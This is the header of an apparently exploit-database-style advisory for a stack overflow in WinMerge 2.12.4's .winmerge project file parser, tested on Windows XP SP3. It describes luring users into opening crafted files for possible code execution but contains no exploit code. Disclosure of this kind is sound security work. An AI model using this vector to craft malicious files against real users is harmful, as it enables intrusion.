WinMerge v2.12.4 Project File Handling Stack Overflow Vulnerability 2011-02-22 14:15:50

#
#
# Title: WinMerge v2.12.4 Project File Handling Stack Overflow Vulnerability
#
#
# Vendor: Thingamahoochie Software
# Product web page: http://www.winmerge.org
# Affected version: 2.12.4.0 Unicode
#
# Summary: WinMerge is an Open Source differencing and merging tool for Windows.
# WinMerge can compare both folders and files, presenting differences in a visual
# text format that is easy to understand and handle. WinMerge is highly useful for
# determining what has changed between project versions, and then merging changes
# between versions. WinMerge can be used as an external differencing/merging tool
# or as a standalone application.
#
# Desc: WinMerge version 2.12.4 suffers from a stack overflow vulnerability because
# it fails to properly sanitize user supplied input when parsing .winmerge project
# file format resulting in a crash overflowing the memory stack. The attacker can
# use this scenario to lure unsuspecting users to open malicious crafted .winmerge
# files with a potential for arbitrary code execution on the affected system.
#
# Tested on: Microsoft Windows XP Professional SP3 (EN)
